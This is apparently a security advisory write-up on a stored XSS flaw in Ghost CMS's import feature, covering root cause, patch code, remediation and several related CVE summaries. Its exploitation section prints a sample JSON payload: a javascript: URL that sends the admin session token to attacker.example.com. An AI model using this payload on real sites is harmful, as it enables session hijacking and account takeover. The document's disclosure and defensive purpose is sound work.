Aug 5, 2026·7 min read·4 visits
A stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS (versions 5.26.0 to 6.54.0) allows administrative users to inject malicious scripts via the Universal Import feature, leading to administrative session hijacking when other users view the imported content.
CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability in Ghost CMS versions 5.26.0 through 6.54.0. The vulnerability exists within the Universal Import feature of the Ghost Admin interface. When processing imported content from third-party platforms such as Revue, the importer fails to sanitize user-controlled HTML tags, rich-text structured JSON, or link fields before rendering them in the Ghost Admin panel and front-end template rendering contexts.
Ghost is an open-source, Node.js-based content management system. It exposes a web-based administration control panel called Ghost Admin. Within this administration boundary, high-privileged users have access to import and export utilities, which allow content migrations from legacy Ghost installations and third-party systems like the newsletter platform Revue.
The Universal Import mechanism represents a significant attack surface because it processes structured formats including JSON files and ZIP archives. This ingestion pipeline converts arbitrary external records into schema-conforming database records. During this parsing operation, the application must normalize heterogeneous attributes into internal models such as posts, members, and settings.
CVE-2026-70588 is a stored Cross-Site Scripting (XSS) vulnerability arising from a failure to sanitize input during this normalization process. Specifically, the import engine accepts unsanitized HTML elements and malformed URL protocols inside imported properties. This allows an attacker to inject execution vectors that persist in the database and subsequently execute when administrative users review the records.
The root cause of CVE-2026-70588 resides in two separate injection pathways in Ghost's content ingestion and rendering architecture. The first pathway involves the feature_image_caption property associated with posts. The system design relies on Handlebars templates, which escape standard HTML entities by default unless marked as a SafeString. To provide formatting flexibility for image captions, developer-defined properties are explicitly wrapped in a Handlebars SafeString class.
However, the backend framework instantiated these SafeString wrappers directly on raw, unvalidated string values retrieved from the database. The system assumed that the administrative ingestion boundaries had already sanitized the input. Because the Universal Import interface lacked validation controls, any HTML elements present in the imported archive were written directly to the database. Upon rendering in the preview modal (modal-post-history.js) or frontend templates (proxy.js), the raw payload executed in the victim's browser context.
The second injection pathway exists in the Revue-specific converter (json-to-html.js). This component parses structured JSON exports from the Revue newsletter platform and generates equivalent HTML tags. The parser mapped the input object's url property directly into standard HTML anchor tags (<a>) without validating the scheme or escaping attributes. This enabled both protocol-based execution (using schemes like javascript:) and HTML attribute breakout (using unescaped double quotes inside the URL attribute field).
The technical remediation was implemented in commit a8bea3a4ceec4c852b880f4885119453c3d8588e. The fix addresses the vulnerability by introducing two primary defense mechanisms: client and server-side DOM sanitization via DOMPurify and rigid protocol-level URI validation.
In the vulnerable version of the frontend admin controller, the feature_image_caption properties were parsed and rendered dynamically inside the modal-post-history.js file without validation. The patch resolves this by introducing DOMPurify to clean the caption and enforce a strict permit list of allowable tags:
import Component from '@glimmer/component';
import DOMPurify from 'dompurify'; // Added in patch
get selectedRevision() {
const revision = this.revisionList[this.selectedRevisionIndex];
// Enforce strict sanitization on the image caption
revision.feature_image_caption = DOMPurify.sanitize(revision.feature_image_caption, {
ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
ALLOWED_ATTR: ['href', 'style'],
ALLOW_DATA_ATTR: false,
ALLOW_ARIA_ATTR: false
});
return revision;
}Additionally, the patch addresses the template rendering engine (proxy.js) to secure server-side execution. The backend engine instantiates DOMPurify using a virtual DOM environment provided by jsdom. This ensures that even if unsanitized data resides in the database, the server cleanses it prior to instantiating the Handlebars SafeString instance:
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
(Array.isArray(data) ? data : [data]).forEach((resource) => {
// feature_image_caption contains HTML, making it a SafeString
if (resource.feature_image_caption) {
// Sanitize the caption prior to declaring it a SafeString
const sanitizedCaption = DOMPurify.sanitize(resource.feature_image_caption, {
ALLOWED_TAGS: ['a', 'b', 'i', 'span'],
ALLOWED_ATTR: ['href', 'style'],
ALLOW_DATA_ATTR: false,
ALLOW_ARIA_ATTR: false
});
resource.feature_image_caption = new SafeString(sanitizedCaption);
}
});Finally, the Revue parser in json-to-html.js was modified to validate the incoming url parameter. Instead of interpolating the raw string directly into the template, the system executes a validator function (getValidURL) that enforces protocol validation and rejects non-standard URI schemes:
const getValidURL = (url) => {
const normalizedURL = typeof url === 'string' ? url.trim() : '';
if (!normalizedURL) {
return '';
}
try {
const parsedURL = new URL(normalizedURL, 'https://example.com');
if (parsedURL.protocol === 'http:' || parsedURL.protocol === 'https:') {
return normalizedURL;
}
} catch {
// Invalid URLs are omitted from imported links
}
return '';
};To execute this attack, an offensive actor must first acquire administrative credentials or compromise an existing account with import privileges. Since the vulnerability is located behind the authentication wall, the threat actor operates from an authenticated perspective. The execution complexity is classified as high because the attacker must assemble a valid JSON schema or ZIP structure conforming to Ghost's parser.
An attacker begins by preparing an export file containing malicious payloads. For a Revue import exploit, the actor crafts a JSON object representing a post where the image caption or link entity contains an injection payload. The payload can be designed to steal the current session tokens or execute admin-level administrative commands:
{
"item_type": "link",
"url": "javascript:fetch('https://attacker.example.com/exfil?session=' + encodeURIComponent(localStorage.getItem('ghost-admin')))"
}Once the archive is constructed, the attacker uploads it via the Ghost Admin settings portal. Because the parsing engine does not sanitize the input, the payload is successfully stored in the SQL database. When a target administrator reviews the imported content, the browser parses the unescaped script, allowing the attacker to hijack the active session.
The security impact of CVE-2026-70588 is substantial, despite its classification of Medium severity under CVSS v3.1. While the vulnerability requires high privileges (PR:H) to perform the initial import, the subsequent execution occurs within the context of any user who views the imported post revisions or templates.
If a victim with elevated administrator privileges accesses the infected post revisions, the malicious JavaScript executes with their active permissions. This allows the script to bypass multi-factor authentication (MFA) controls because it operates within an established, authenticated session. The script can perform actions on behalf of the administrator, such as modifying system settings, adding backdoor accounts, or exfiltrating sensitive subscriber lists.
Additionally, because the vulnerability also impacts the frontend template rendering (proxy.js), unauthenticated external visitors who view the published post might also trigger the script execution. This widens the impact from internal administrative session hijacking to public-facing watering-hole attacks.
Remediation requires upgrading the Ghost application to version 6.54.1 or higher. The patch fully mitigates the reported attack vectors by applying client-side sanitization, server-side template cleaning, and rigorous schema validation on imports. Administrators should perform this upgrade using the command-line utility: ghost update.
For environments where an immediate upgrade is not feasible, temporary mitigation strategies must be applied. Administrators should restrict import privileges by limiting administrative access to trusted personnel. Additionally, implementing a robust Content Security Policy (CSP) header through the web server (such as Nginx or Cloudflare) will block the execution of inline scripts and unauthorized network connections.
An assessment of the patch indicates that the fix is comprehensive. By utilizing DOMPurify to sanitize HTML attributes and tags at both the API and render levels, and by validating URL protocols in the import processors, the developers have closed the known vectors. However, security teams should continuously audit any custom templates or third-party integrations that leverage Handlebars SafeString wrappers to ensure no similar bypasses exist in other modules.
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:N/I:H/A:L| Product | Affected Versions | Fixed Version |
|---|---|---|
Ghost Ghost Foundation | >= 5.26.0, < 6.54.1 | 6.54.1 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network |
| CVSS Severity | 5.0 (Medium) |
| Exploit Status | None |
| KEV Status | Not Listed |
The application does not neutralize or incorrectly neutralizes user-controlled input before it is placed in output that is used as a web page that is served to other users.
CVE-2026-70492 (also tracked as GHSA-pwxh-7358-jq2x) is a stored Cross-Site Scripting (XSS) vulnerability in Open WebUI versions 0.10.0 through 0.10.x. The flaw arises because engine-level JavaScript stack overflow errors escape KaTeX standard error handling. Svelte's fallback rendering path assigns the raw, unescaped mathematical input string directly to the DOM using the unsafe {@html} directive, enabling arbitrary client-side code execution. This allows attackers to steal session tokens and perform unauthorized administrative actions when users view malicious messages. The vulnerability has been fully resolved in version 0.11.0.
CVE-2026-70493 is a critical Regular Expression Denial of Service (ReDoS) vulnerability affecting Open WebUI from version 0.9.6 up to (but excluding) 0.11.0. An authenticated user can submit a custom, highly complex regular expression pattern to search files within the knowledge base. Because these expressions are compiled and executed synchronously using Python's standard backtracking re module inside an asynchronous event loop, the server becomes unresponsive. A single request is capable of stalling the entire platform, denying access to all concurrent users of the system.
CVE-2026-53948 is a stored cross-site scripting (XSS) vulnerability in the Ghost content management system. Affected versions (v6.19.4 up to v6.21.0) trusted the client-supplied Content-Type header during file uploads via the Admin API. This allowed authenticated attackers to upload benignly-named files with executable MIME types (like text/html), executing scripts in visitor browsers when hosted on integrated cloud platforms like S3 or GCS.
A business logic vulnerability in Ghost CMS allows unauthenticated remote users to redeem deactivated or archived promotional subscription offers by programmatically passing old offer identifiers during the checkout session initialization.
A Server-Side Request Forgery (SSRF) vulnerability exists in the Ghost content management system from version 6.0.9 up to, but not including, 6.21.1. The flaw resides in the 'request-external.js' module, where the IP address validation blocklist fails to account for fully expanded IPv4-mapped IPv6 formats. This allows unauthenticated remote attackers to bypass the private IP filter and initiate unauthorized connections to loopback services, internal subnets, or cloud instance metadata endpoints.
Ghost CMS is vulnerable to Server-Side Request Forgery (SSRF) in versions 6.0.9 through 6.21.1. Due to a Time-of-Check to Time-of-Use (TOCTOU) race condition in its outbound fetch validation logic, an attacker can bypass IP blocklists via DNS Rebinding. This allows unauthorized interaction with private networks and local services.